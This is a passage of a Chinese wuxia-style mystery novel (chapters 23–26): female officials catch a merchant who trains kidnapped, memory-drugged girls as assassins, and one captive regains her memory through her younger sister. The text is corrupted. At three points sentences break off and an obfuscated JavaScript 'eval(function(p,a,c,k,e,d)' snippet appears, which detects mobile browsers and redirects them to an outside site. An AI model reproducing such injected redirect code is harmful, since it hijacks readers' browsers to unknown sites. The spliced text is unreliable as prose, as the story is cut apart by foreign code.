孟荀道:“松阳县里有个隐居的琴师,叫罗翠娘。她以前当过我的老师,后来因年老,便辞官归乡。她如今已经五十多岁,早已不授课了。我去找她帮忙,让她混进王家当琴师,趁机套那些女孩的话。” “那太好了,咱们先去拜访你那位老师吧。” 罗翠娘住在城东的一座小院里,她没有家人,只有两个年轻丫环服侍。 云水谣和孟荀到了罗家,孟荀对丫环说道:“去禀报你家主人,就说孟荀来访。” 那丫环进去通报,随即快步跑出来,说道:“主人请两位进去。” 云水谣和孟荀来到客厅,见一个气质淡然、容颜端庄的中年女人,端坐在主位上。客厅的布局跟普通客厅不同,正中央摆了好几张琴,座位反而在角落里,倒像是琴才是此间主人一般。 云水谣看了,觉得挺有意思。 她们来到角落的座位旁,罗翠娘招呼她们坐下。 孟荀道:“罗老师,好久不见。这是我的朋友,姓云。” 罗翠娘笑着对云水谣打招呼:“云姑娘安好。” 孟荀便把所求之事说了,罗翠娘想了想,道:“这点小事,自然可以帮忙。只是我不知道能不能入王家,听说王家对乐曲教师的要求很高。” 孟荀满不在乎道:“这有何难,老师连我这个皇室宗亲都能教,难道还教不了几个歌舞伎了?王大兴听了您的乐曲,若是不聘请您当老师,那他那双耳朵也白长了,我去割了便是。” 罗翠娘笑道:“瞧你,都是大姑娘了,还这般蛮横霸道。” “我这是姜桂之性,老而弥辣。” “你这丫头。” 罗翠娘跟孟荀说笑了几句,然后问云水谣:“你们要叫我向何人探口风?具体问些什么?” 云水谣取来画笔,把徐二妞的模样画了下来,道:“翠娘,您帮忙找这个人,她如今也在学乐器,您若是去了王家,应该有机会见到。 “您问问她,是否叫徐二妞,有个妹妹叫四妞?是否是洛县人,十岁左右被拐?另外再问问她,她是怎么来到王家的,在王家这些年都经历了什么?除了乐器之外,是否还要学武功?王家的那些成年丫环、成年歌舞伎,真实身份是否是女杀手,属于一个叫百尺楼的组织?” 听了这些话,罗翠娘神色凛然,知道事情很复杂,自己要做的事很重要。 因此,她郑重说道:“放心,我一定会查问清楚。” 云水谣还担心自己说了太多,罗翠娘记不住,没想到罗翠娘十分聪慧,也快速明白了事情的严重性。 因此,云水谣感谢了罗翠娘,便和孟荀一起告辞了。 孟荀说道:“接下来就等我师父的消息了。” 云水谣太想知道真相,等得很焦灼。但她也知道,探听事情需要耐心,要找准时机,不可能马上办好。 大约等了五天后,罗翠娘派人叫她们去罗宅。 来到罗宅,孟荀便迫不及待地问道:“师父,打听得如何了?” 23. 杜将军百里驰援 王富商负隅顽抗 罗翠娘道:“我去王家应聘琴师,可王家的家丁说他们不缺乐曲老师,让我回去。我便在王家门口弹了一曲,恰好被王大兴听见。他有些惊异,亲自出来迎接我。他说本来家中乐曲师傅是够了,但那些师傅的水平都比不上我,所以愿意多花一笔钱请我。他还问我为何要主动上门应聘,我说自己孤身一人,要存钱养老,他便信了。 “我来到王家后,王大兴让我教一群十几岁的少女学琴。可巧你们要找的那个徐二妞,就在那群女孩之中。我故意说她弹得不对,要单独辅导,便获得了单独跟她相处的机会。我问了她的身世来历,可她一问三不知,说自己叫玉柔,不叫徐二妞。她也不记得自己有没有兄弟姐妹,不记得自己的家乡。从有记忆起,她就在王家了,有时当丫鬟,有时学乐器。 “我见她已经失去了小时候的记忆,恐怕是不能跟我们暗中合作的,因此后面的一些问题我也没问她,包括她平时是否学武、那些成年的丫环和歌舞伎是否为女杀手,还有百尺楼相关的种种。如果我问了,她定会起疑心,若是告诉王大兴或是身边的小姐妹,反而会暴露我的目的。 “我观察了那些女孩的手,发现她们的手指较粗,手臂也有较多的肌肉,而寻常学乐曲的女孩,不会干杂活,都有一双纤纤玉手,胳膊也很细。所以我想,那些十几岁的少女,闲暇时肯定是要练武的,你们猜测得没错。 “而且,她们每天学乐器的时间不超过一个时辰,在其他时候,是见不到她们的,我猜她们可能是被带走,集中训练了。” 罗翠娘的这些发现,对云水谣和孟荀帮助很大。罗翠娘是个聪明人,也多亏她的智慧,才没暴露。 只是,那个很像徐二妞的女孩,怎会失忆?云水谣觉得,那女孩八成就是失踪的徐二妞,玉柔是后来起的名字。 孟荀也有相同的疑惑,喃喃自语:“那个小女孩怎么会失忆呢?” 罗翠娘道:“我听说有一些药会让人失忆,说不定王家的那些女孩都吃过。” 孟荀抚掌同意:“对啊,肯定是这样。那些女孩若还记得自己的身份来历,自然不甘心成为杀手。只有喂了失忆药,才能被培养成杀人工具。” 云水谣点头:“看来,那王大兴必然是百尺楼的核心人物,负责培训小女孩当杀手的。只是百尺楼组织庞大,需要的女孩众多,所以他才假扮成富商,表面上买卖歌舞伎,实际上他既不曾买,也不曾卖。这些女孩的来源是拐卖,去处是百尺楼,他是个中间人。” “既然如此,我们去请松江县令一起帮忙。” “这些只是猜测,我们的证据还不足。不过可以先去李县令那儿探探口风,看他能提供多少帮助。” 云水谣、孟荀又去拜访了李县令,说了自己的猜测。 李县令也十分惊讶,道:“若是情况属实,松江县并无能力剿灭百尺楼这样强大的组织,我得去州里借兵。但是首先要有足够的证据。” 云水谣道:“既然王大兴每隔一段时间就会送走一批女孩,等他下次送走女孩时,我们可否跟踪,这样就能揭露他的阴谋。” “这样也可。只是若他们真是百尺楼的人,武功必定很高。若是寻常衙役,想必是跟踪不了的。一旦被发现,还有杀身之祸。” “我有一护卫名叫景佑,武功高强,以前也混迹江湖。我让他来跟踪,应该没什么问题。还请李县令帮忙打听一下,富商王大兴下次送走女孩是什么时候。” “好,那我们分工合作。” 云水谣修书一封,让景佑来松江县帮忙。 没想到,几天之后,等来的不止有景佑,还有游击将军杜羽。 孟荀高兴地冲上前去,问道:“表哥,你怎么会来?” 杜羽笑道:“云县令的书信中,言明了松江县发生的事,让景佑来帮忙。我想着,若那杀手组织真在此处,想必需要大量人力和好手,因此我便亲自率领几百亲兵,跟景佑一起过来。” 杜羽虽是在跟孟荀说话,但眼睛却时不时看向云水谣,似乎带着一丝关切。 孟荀又问:“你可以擅自离开营地吗?” “我的职责,除了练兵之外,若周边地区有什么需要,我可以随时支援,所以离开军营并不犯军纪。” “那可太好了。等这里的事忙完,我们还能一起去吃松江县的美食呢。” “除了吃,你还知道什么。” 她们俩愉快地闲聊着,而云水谣和景佑也互相关心了几句。云水谣得知,景佑在杜羽的军营中,每天都要军训,而且训练量比一般士兵大很多,杜羽还总是说他动作不标准,让他重训。 云水谣笑道:“怪不得你比先前瘦了,也黑了很多。” 景佑道:“这点苦不算什么。我在军营里还学会了把被子叠成豆腐块。” “哈哈,那可得叠给我看看。” 景佑脸色微红,没有回答。 他的五官本来有些像女孩,但进了军营一遭,皮肤变得粗糙,眼神变得坚毅了许多,五官看起来也硬朗了一些。 云水谣看着这些变化,觉得很新奇。 见云水谣一直盯着自己看,景佑有些不自然地别开脸,走到云水谣身后,像个门神一样。 过了片刻,松江县令李茂枝通知她们,王大兴会在三天后的子时卖掉一批歌舞伎,到时候可以跟踪。 于是,众人便一起制定计划。 杜羽道:“那些女杀手武艺高强,寻常士兵和衙役上前只是徒然送死而已。到时候我和景佑,还有其他身手好的士兵一起上前,跟她们打斗,其余人在旁边掠阵,如果情况不对就搬救兵。不会武功的几个官员要躲远些。” 云水谣想了想,道:“我有一个主意,可以减少伤亡。” “什么?” “找一些会武功的女子,穿上蓝衣,到时候趁乱混入那群女杀手之中。等开始战斗时,我说投降的可以从轻发落,然后我们这边混进去的奸细就假装投降,动摇那群杀手的军心。 “拒不投降的,杀掉几个以杀鸡儆猴,剩下的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13907781|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内心犹豫,会逐渐投降。投降的越来越多,剩下的杀手也就不足为惧了。我的目的,不止是要减少我们这边的伤亡,更要减少那群女杀手的伤亡,因为她们都是百姓家失踪的女孩,她们的家人都盼着她们回去。” 听闻此言,杜羽眼中流露出欣赏之意,称赞道:“没想到云县令心有韬略,冰雪聪明,这个计策十分合适。” 云水谣还未说什么,孟荀便骄傲地抬头:“那是,阿谣最聪明了,表哥你是跟她不熟。你要是跟她熟了,她每天都能惊呆你。” 云水谣笑道:“有这么夸张吗?” 孟荀拍了拍云水谣的肩膀:“不夸张,我说的是事实!” 云水谣哭笑不得。她注意到景佑和杜羽都在看她,景佑的眼神是忠诚而敬佩,是良臣看明主的眼神,似乎还夹杂着其他感情。而杜羽的眼神是欣赏、新奇,带着几分玩味。 云水谣定了定心神,不去看他们。 景佑以前混迹江湖,也结识了一些身手好的侠女。他找了十几个侠女过来,假扮成蓝衣杀手。她们穿上蓝衣服,带上面纱,从外表上看完全跟那些女杀手没区别。 三天后的子时,富商王大兴带着一百多个蓝衣女子,来到松江的一处渡头。渡头上已经有几艘大船在等着了。 王大兴让那一百多个女子都走到大船上,进入船舱不要出来。 船舷上站着几个艄公,他们似乎跟王大兴很熟悉了,互相点个头当做打招呼,也没说话。 除了撑船的艄公外,更无旁人,也没人给王大兴钱。可知王大兴声称他把歌舞伎卖掉,是在说谎,实际上每次都是通过这些大船,把歌舞伎们送到百尺楼总坛当杀手了。 就当几艘大船准备离开时,杜羽、景佑带着一群身手好的士兵、衙役,跳了出来,拦住他们。 接着,云水谣、孟荀在远处举着火把,喝道:“王大兴,你的阴谋已败露,还不快束手就擒?” 王大兴有些慌张,但还是强作镇定,道:“两位姑娘说什么?” 云水谣道:“我和孟荀是女官,你手底下的女孩就有从我们两县拐卖走的,我们来松江县是暗中调查少女失踪案的。如今查到你头上,你还敢狡辩?” “什么少女失踪案,我不知道。” “那你为何深夜送走这么多女孩?” “我将她们卖给别人了,再去买新的女子,不可以吗?” “既是卖歌舞伎,为何不见买家,无人给钱?” “我跟买主很熟悉,可以先送货,后付款,不行吗?” 见王大兴还在狡辩,杜羽有些不耐烦,道:“先抓了他们再说!” 于是,众人一起动手,要抓王大兴和那些蓝衣女孩。 在危机关头,王大兴和那些歌舞伎也没法隐藏身份了,跟官差对打,展露出高超的武功。这下,他们没法再辩解自己只是普通人了。 王大兴一边打斗,一边喊道:“你们怎能无故攻击良民?就算我和我家的丫环都会武功又怎样?犯法吗?” 24. 扮杀手敌人束手就缚 因失忆姐妹对面不识 云水谣道:“你拐卖别人家的女儿当杀手,还给她们喂失忆药,自然犯法。” 景佑之前找来的那些女侠,也趁乱混进了那群女杀手之中,跟官差打斗。人数太多,又是夜晚,王大兴根本发现不了有人混进去了。 这时,云水谣高声喊道:“官府不想要你们的性命,投降者可减轻罪责。” 一开始无人投降,打斗了一会后,混在杀手中的那些女侠假装打不过官兵,纷纷喊道:“我愿投降。” 说着,她们扔下武器,跑到云水谣这边,束手就缚。 王大兴很惊讶,因为他培养这些女杀手时,意志力也是重点培养的,女杀手们应该不会轻易投降才是。但事实摆在眼前,不由他不信。 见到有十几个人投降,剩下的女杀手也开始犹豫。有坚决不投降的,被景佑、杜羽杀了几个。有些贪生怕死的,也学着之前那十几个侠女,投降了。 渐渐的,抵抗的人越来越少,投降的人越来越多,形势一片大好。 最终,意志力最坚定的那批女杀手倒下了,而王大兴武功高出她们许多,竟趁乱逃走了。 等众人意识到王大兴不见时,已经来不及了,到处都找不到王大兴的身影,他应该是跑远了。 景佑有些懊恼:“可恶,让王大兴给跑了。” 云水谣安慰道:“今日的收获已经很大了,至于王大兴和百尺楼的其他首脑,迟早有落网的一天。” 于是,众人一起把这些投降的女杀手带回县衙,那些死去的女杀手也放到马车里,一起驮过去。 云水谣忽然想起一事:“王大兴家中还有一些年幼的女孩,现在去解救她们应该来得及。” 杜羽道:“我去便是。” 他带着一队亲兵,往王大兴家里去。 剩下的人回了县衙。 松江县令李茂枝道:“先把这些人犯关押起来,明日再审问。” 云水谣道:“只恐夜长梦多。听说很多杀手被抓后都会自尽,以免暴露自己组织的秘密。不如直接审问她们。” “可是,我身体撑不住了。” 李县令脸色苍白,站立不住,由身边的小厮扶着。 云水谣知他体弱,赶紧说道:“今日李县令跟我们一起捉拿人犯,辛苦了,您早点休息吧。只是,这审问犯人之事,可否由我与孟荀代劳?” “可以,我吩咐下去,让本县的属官听你们吩咐。” 李县令吩咐了下属几句,便回家休息了。 看李县令的身体情况,云水谣终于明白为什么百尺楼会把总坛设在这里了。松江县的县令病弱,不太管事,方便他们搞些阴谋。 云水谣吩咐衙役,先把尸体摆在一边。她和孟荀先去审问活人。 被活捉的女杀手都被关押在一起,手上绑着绳子,身上的穴道被点,她们就算想自尽也做不到。 只是,点穴只能持续几个时辰,时间长了就自动解开了。她和孟荀必须在这几个时辰内,审问出有效信息。 孟荀已经问过她们是不是百尺楼的杀手,是不是从小被训练,百尺楼总坛在哪里之类的,但是没人回答。 孟荀有些焦躁,骂道:“你们这是助纣为虐,死不悔改!你们大部分都是被拐卖的,还对百尺楼如此忠心,简直可笑! “我知道你们都失忆了,把百尺楼当成家,把王大兴当成主人,可你们有没有想过,你们是从哪里来的?也许在遥远的地方,有人盼着你们回去。若是什么都不说,那就只有死路一条了。” 无论孟荀说什么,那些女杀手都紧闭着嘴。孟荀气得跳脚,云水谣赶紧把她按住。 云水谣让衙役们把那些女杀手的面纱揭下,有的是之前在王大兴家见过的丫环、歌姬,也有的是陌生面孔。她们应该一直待在王大兴家里,只是那天云水谣去拜访时,只见到其中一部分而已。 这时,杜羽也回来了,带回了二十多个小女孩。只是,这些小女孩都被绑成一串,嘴巴塞着布条,没法说话。 云水谣问道:“为何将她们绑成这样?” 杜羽苦笑道:“她们可不是普通的小姑娘,刚才我好不容易在王大兴家里寻到她们,还没说话呢,她们就把我当敌人攻击。这么多人围攻我一个,可够呛的,还好我命大,没被她们杀死,把她们绑住了。” “原来如此,杜将军辛苦了。” 杜羽果真一脸狼狈的模样,衣服上镶嵌的宝石都掉了一大半,身上有十几处伤痕,脸上还被划了一道。虽然破相了,但无损于他的俊美,反而看着更有特色了。 孟荀走了过来,嘲笑杜羽:“表哥,你怎会被一群小姑娘打成这样?” 杜羽挑了挑眉:“她们可不是普通的小姑娘,每一个习武都有四五年了。要不我把她们解开,你跟她们打打看?” “不要不要。” 孟荀连连摆手,躲在云水谣身后,被杜羽嘲笑了。 云水谣命人把这群小姑娘跟其他女杀手关在一起。 孟荀对云水谣道:“不如让我来审问这群小姑娘,说不定比较容易突破。” “未必。这些女孩从小被百尺楼抓来,喂了失忆药,只忠于百尺楼。不管年纪大小,只怕都不会说什么的。” “那该怎么办?” “如果有办法让她们恢复记忆就好了。她们一旦想起自己是谁,只怕就会痛恨百尺楼,到时候知道什么就会说什么。” 可是,要恢复记忆,谈何容易。她们并不知道那些失忆药是如何配置的,很难调配出解药。而且,很多女孩吃了失忆药很多年,身体早就损伤了,只怕难以复原。 云水谣和孟荀找了松江县知名的大夫,可大夫们都束手无策。 看来,恢复记忆这条路是行不通的。 云水谣在监牢里,仔细看着那些女杀手。十四岁的徐二妞也在其中,不过她现在叫玉柔。 除了徐二妞之外,其他女孩云水谣都不熟悉。云水谣觉得,也许徐二妞会是一个突破口。 她悄悄吩咐景佑,去洛县把四妞接来,让她来跟自己的姐姐相认。四妞便是一开始报案的那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13907782|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女孩,云水谣觉得她有情有义,且知道向县令求助,非常聪明,也许她有办法跟徐二妞相认。 景佑领命而去。 眼看着这些女杀手的穴道快要解开了,云水谣私下问杜羽:“她们穴道解开后该怎么办?总不能继续点穴吧?我听说穴道被点太久的话,人会瘫痪的。但是不控制住她们,又怕她们作乱。” 杜羽道:“确实不能长时间点穴,但可以给她们喂一些安神的药,让她们陷入沉睡。等她们睡着,再拿更多的绳子,把她们绑得更紧。” 孟荀反对:“如果让她们都睡觉的话,我该怎么审问呢?” 杜羽:“你审问她们这么久了,她们有说什么吗?既然什么都问不出来,她们是醒着还是睡着有区别吗?” “这……” 孟荀竟然觉得杜羽表哥说的有几分道理。 于是,云水谣和孟荀便采纳了杜羽的建议,给女杀手们喂安神药。 几天后,景佑带着四妞过来了。 四妞虽是个小女孩,但很能忍耐,一路跟着景佑骑马颠簸,风餐露宿,愣是一句抱怨也没有,几百里的路就这么坚持下来了。 云水谣也挺佩服她的。她给四妞喂了一些食物,才说道:“我们抓了一批女杀手,其中有一个像是你姐姐徐二妞。你需要辨认一下,但是她失忆了,已经不记得以前的人和事了。你如果确定她是你姐姐,那你就要想办法跟她相认。” 四妞点头:“好,我都听大人的。” 云水谣便带着四妞去了监牢。此时女杀手们都在沉睡,云水谣指着那个酷似徐二妞的少女,问四妞:“你看她像你姐姐吗?” 四妞仔细看了看,道:“我觉得很像。虽然我姐姐失踪好多年了,但那个少女依稀有我姐姐以前的模样。而且她跟我长得也很像,我想她应该就是我姐姐徐二妞。大人,我可以带她回家吗?” “她被人喂了失忆药,已经不记得你了。如果你不能让她跟你相认,她还会攻击你的。” 四妞听了,有些伤心。但她没有掉泪,而是思索了一会。 接着,她对云水谣道:“大人,可否给我一些钱,我想买一些姐姐小时候爱吃的东西。” “好。” 云水谣让两个衙役陪四妞上街,四妞买回来一些梨膏糖、鸭脖、茯苓饼、无花果干。 四妞对云水谣说道:“大人,可否让我姐姐单独跟我见面?我试试能不能让她回忆起以前的事。” “嗯,等她醒了之后,我会安排你们单独见面的。” 等徐二妞醒来,云水谣把她带到一间密室,把她绑住。为了防止她逃脱,又让杜羽给她点了穴道。然后,才让四妞进来。 徐二妞有些不悦,骂道:“你们要杀便杀,为何这样折磨我?现在不杀我,等我逃走,有你们好看的。” 四妞叫道:“姐姐……” 徐二妞怒目圆睁:“你在胡说什么?谁是你姐姐?” 四妞拿出自己买的零食,道:“姐姐,这些都是你小时候爱吃的,你还记得吗?” 25. 重拾记忆化敌为友 寻找总坛孤军深入 徐二妞瞥了一眼,不屑道:“我从没吃过这种东西。” 徐二妞被绑住了,四妞干脆就把零食喂到她嘴里。徐二妞突然感受到一股熟悉而美味的味道,心中不禁纳罕。 在她印象里,她从没吃过这些,那这种熟悉的感觉从何而来?而且,她吃了之后,竟还想再吃,但又不好意思提。 没想到,四妞又给她喂了一些。她马上狼吞虎咽,差点咬到舌头。 徐二妞觉得自己有些奇怪,但转念一想,自己已经很久没吃东西了,这些零食又确实美味,自己爱吃很正常,说明不了什么。 因此,她的眼神从一开始的困惑,转变为冷淡。 四妞问道:“姐姐,你可有想起什么?” “什么也没想起。都说了别叫我姐姐。” 四妞有些伤心,但随即又调整好心态,说道:“姐姐,这是你小时候喜欢的食物,每次你买了,都会分给我吃。你真的想不起来了吗?若是你小时候没吃过,现在为何这么喜欢呢?” 徐二妞并不相信她的说辞,有些恼怒地看着四妞和云水谣等人:“你们以为我会上当吗?省省吧。不就是想用这种方式来跟我套近乎吗?我有没有妹妹,难道我自己不清楚?” 云水谣问道:“你真的清楚吗?那你说说九岁以前你发生过什么事。” 徐四妞被问住了。随即她说道:“那么久远的事,谁记得清楚?” “是吗?你也才十四五岁吧?四五年前的事你都不记得了?很多人没有三岁之前的记忆,那是因为三岁之前太小了。可是三岁到九岁属于童年时期,若是你一件事情都不记得,不也挺奇怪的吗?” 徐二妞陷入了沉思。按照常理来说,云水谣说的有道理。她以前也想过,自己为何把九岁之前的记忆全部丢失,但她平日里要学的东西太多,既要学乐器、舞蹈,又要学武功,偶尔还要读书,日程排得很满,她没有时间去思考失忆的事。 如今想来,确实有疑点。但纵然存疑,她也不愿相信云水谣和四妞等人的话,而是认为另有缘故。 因此,她便说道:“就算失忆很奇怪又如何?你们不过是想借着这件事,跟我套近乎,从我嘴里套话而已。” “你很聪明,可你有没有发现,你身边的那些女孩,全都没有小时候的记忆,跟你一样?” 徐二妞想了想,确实如此。跟她同一批学武、学乐器的女孩,全都丢失了童年的记忆,没有例外的。当时徐二妞见众人皆是如此,也就不纠结于这件事了。但现在想来,确实奇怪。 徐二妞道:“是又如何?” “你有没有想过你们是从哪里来的?” “主人说了,我们都是孤儿。” “孤儿也不可能失忆啊。除非你们都是有家人的,但为了让你们忘记往事,更好地被操控,你们都被灌了失忆药。除了你们这批十四五岁的,你仔细想想,身边那些成年的女杀手,是否也跟你们一样是失忆的?” 云水谣说得没错,徐二妞如今才把女杀手们都失忆的事联想在一起,觉得有些心惊。 平日里,主人和教官们对她们说的最多的话就是,以前的事不重要,应该努力学习武功和音乐,为自己创造美好的未来。学有所成的,都能挣钱。 她们听得多了,也就愈发不去回忆前尘往事了。 可是这一切,像是有人在刻意引导。 这时,四妞唱起了一首童谣:“月儿弯弯照小船,船上坐着姐妹俩。姐姐摘花头上戴,妹摘莲蓬嘴里嚼……” 徐二妞忽然觉得有些头疼,像是有一道闪电劈过自己的脑袋。她问四妞:“你唱的是什么歌?” 四妞道:“姐姐,这是你小时候教我的童谣,你不记得了吗?” 一些画面在徐二妞脑中一闪而过。她带着妹妹去摘莲蓬,带她去划船,给她唱童谣…… 还有她去喂鸡时,妹妹偷偷跟过来捡鸡蛋吃…… 还有她在河边洗衣服时,忽然被人掳走……迷迷糊糊间,好像被人灌了一碗苦药,醒来时就在王家了。 她想起了自己是如何被拐过来的,心情激动且惊讶。 她缓了一会才说:“我好像确实是徐二妞……” 四妞惊喜道:“姐姐,你想起来了?” “嗯。” 见有了突破,云水谣喜出望外。她让徐二妞和四妞姐妹叙旧,过了一会才问道:“二妞,你们是不是属于杀手组织百尺楼的?” 徐二妞道:“对,王大兴跟我们说,百尺楼是江湖上一个惩恶扬善的组织,等我们学成武功,就可以跟其他姐姐们一起杀坏人,替天行道。为了早日达成百尺楼的要求,我们日夜训练,不敢懈怠。” “原来百尺楼是这样欺骗你们的。怪不得你们的凝聚力这么强,原来是你们坚信百尺楼才是正义的。” “对。” “其实百尺楼是一个杀手组织,只要有人给钱,不管好人还是坏人都杀。” 徐二妞神色黯然,没有接话,大概是内心的冲击太大了。 她一直以来所信仰的百尺楼,只是个没有下限、没有道德的杀手组织。为了扩充成员,百尺楼把她们这些无辜的女孩掳来,加以训练,为百尺楼谋利。而她们这些亲自去做任务的女杀手,非常容易丢命,但高层根本不在乎。 她们就像地里的韭菜,割了一茬还有一茬。 云水谣问道:“你知道百尺楼的总坛在哪里吗?” “不知道。只有等我们学成武功后,才会被送到总坛,接总坛的任务。” “这么说,这次俘虏的几十个女孩,都不知道总坛所在?” “对,那些成年的姐姐本来昨日要被送到总坛去的,但被你们拦下了。她们从没去过总坛,即便我去套话,也是套不出来的。” “这百尺楼还真是小心谨慎。” 不过可以肯定的是,总坛一定在松江县。如果王大兴家跟总坛相隔很远,他这般频繁地运送女孩,肯定会被人发现端倪的。但之前都没人怀疑过他的身份,可见总坛应该跟王大兴家比较近。 松江县以松江为界,分为南北两个部分。王大兴在松江的渡头送这些女杀手,可见总坛应该在松江以北。 结合这两条线索,不难查出总坛的范围。 云水谣拿出松江县的地图,圈出松江以北的一小块地方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13907783|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,吩咐松江县的衙役:“你们在这一片寻找,百尺楼的总坛应该在这附近。” 衙役们领命而去。 杜羽道:“若是总坛真在这里,里面一定高手如云,派这几个衙役去肯定不够。还是我带着亲兵走一趟吧。” 云水谣道:“那就辛苦杜将军了。” 杜羽笑道:“区区小事,谈何辛苦。我去了。” 他大步流星地往外走,只余一个潇洒的背影。 四妞问道:“大人,我姐姐已经回想起以前的事,而且她还没有成为杀手,没有杀过人,我是不是可以把她带回家?” 云水谣道:“可以,不过不是现在。百尺楼的事情未完,我还需要你姐姐提供一些帮助。你若是不放心,可以跟在我身边,这样就能天天见到你姐姐了。” “谢谢大人。” 云水谣又问徐二妞,王大兴是个什么样的人。 徐二妞道:“王大兴算是我们的主人,我们来到王家后,一直听他的。他对我们要求很严格,如果学武的进度慢了,他会惩罚我们。但在外人面前,他都是一副很和气的样子。有人来拜访的时候,我们不可以展露武功,只能扮做普通的丫环或是歌舞伎。” “他有跟总坛的人联系过吗?” “我不知道,我自从来到王家,就一直被关在里面学东西,不能外出。我们只能见到一些无关紧要的客人,若是总坛那边来人,应该是不会让我们见到的。” “百尺楼里是不是女杀手比较多?有男杀手吗?” “男杀手也有,只是数量不如女杀手多。具体比例我不清楚。” “我身边的侍卫景佑遭到好几次追杀,追杀他的人就是百尺楼的杀手。这事你知道怎么回事吗?” “不知道。百尺楼的任务都是互相独立的,交给某些杀手的任务,其他杀手不会知道。而且,我还没成为杀手,百尺楼的事情,我还不太清楚。” 看来徐二妞知道的也不多。像徐二妞这样的女孩,处于百尺楼的最底层,平时有什么活都是她们干,但高层不会告诉她们太多信息。 孟荀走了过来,询问情况,云水谣便把刚才发生的事告诉她了。 孟荀问徐二妞:“我们正发愁那些女杀手该如何处理,你能劝她们改邪归正吗?” 徐二妞摇头:“劝不了,这些女孩都被教得非常忠于百尺楼,对外界的一切都带有防备心理。就像我,没想起以前的记忆时,也是非常不配合的。” 孟荀沉思道:“看来,只有让那些女孩都恢复记忆才行。” 云水谣道:“这很困难。徐二妞能恢复记忆,是因为我恰好认出了她,且知道她妹妹在哪里,让她妹妹来唤醒她的记忆。可是其他女孩,我们并不认识,也不知道她们的家人在何处。 “即便我们能找到所有丢失女孩的家庭,可一方面他们未必愿意费心认回女儿,另一方面她们就算跟这些女孩见面,也不知道哪一个是自己的女儿,也许他们的女儿根本不在其中。再者,唤醒记忆其实是很困难的,徐二妞能回想起来,纯属运气好。其他女孩未必有这样的好运。” “照这么说,竟是毫无办法?” 26. 镣铐加身杀手服劳役 人去楼空总坛遁无踪 “她们既不知道总坛所在,心思又忠于百尺楼,虽然还未开始接杀人任务,未曾犯法,但直接释放肯定是不行的,会成为社会的不安定因素。 “依我看,不如将她们戴上镣铐,带回洛县和卫县去干活,就当服劳役了。同时放出风声,说以前丢失的女孩找到一批,如果有父母想寻找女儿,可来她们服劳役的地方看看。” 孟荀点头:“也只能如此了。可是,万一百尺楼的人又去联络她们怎么办?” “我们派士兵日夜监视她们,一旦有可疑人等跟她们联系,立刻抓捕。不过,我觉得百尺楼的高层可能会放弃她们,不再联系了。” “为什么?” “联系她们就有暴露自己的可能。百尺楼并不缺杀手,王大兴应该也只是百尺楼的一个小头目。像王大兴这样为百尺楼培养杀手的人,应该有不少。百尺楼犯不上为了几十个被俘虏的杀手,损失更多。” “你说的也有道理。” 云水谣和孟荀便清点了一下被俘虏的女杀手和女童,一共五十二人,剩下的都死了。 她们把这群女孩分成两部分,一部分去洛县服劳役,一部分去卫县服劳役,由官差押送着她们前往。 她们被戴上镣铐,都有些不忿。有些女杀手沉默着,似乎认栽了。有些女杀手骂道:“狗官!主人一定会来救我们的!” 云水谣面露同情:“王大兴早就跑了,不可能来救你们。你们还是好好服劳役去吧,也许运气好,你们的家人找到你们,那你们就自由了。” 这些女孩都被押走了。 云水谣和孟荀还要等待杜羽的勘察结果,便继续留在松江县。 三天后,杜羽率领衙役们回来了,有些沮丧,道:“我们找到了百尺楼的总坛,可惜那里已经人去楼空。” 云水谣也有些失落,但这样的结果在她意料之中:“其实我早料到会如此,王大兴逃走了,必定去通知总坛的人撤退。这次只解救了一小部分女孩,但要攻破百尺楼总坛,还需要一些功夫,只能等下次了。” 孟荀道:“其实我们也不算解救了那些女孩,她们都失忆了,心里只有百尺楼,我们只能让她们去服劳役。这样的结果,不是我们想见到的。” 云水谣明白她的心思,叹息道:“我知道,可我们没有更好的办法了。” “阿谣,我觉得还有一点很奇怪。” “什么?” “百尺楼这个组织如此庞大,光是王大兴这边,每年就会送几百人去总坛,还不知道其他小头目一共有多少。 “既然有这么多女孩,那他们就不会只从我们两个县偷走女孩,一定有其他州县有这种丢失女孩的情况。可是,之前我们去雍州府,请雍州长史元澄查一下雍州其他县是否有类似情况,他竟然说没有。我们当时无功而返,但现在想来有些奇怪。” 云水谣道:“也许他在骗我们。他不想让我们联合其他县令一起查少女失踪案,是在暗中保护百尺楼。” 孟荀惊讶:“阿谣,你为何这么说?这个罪名可不小啊。” “我怀疑元澄不是好人。” 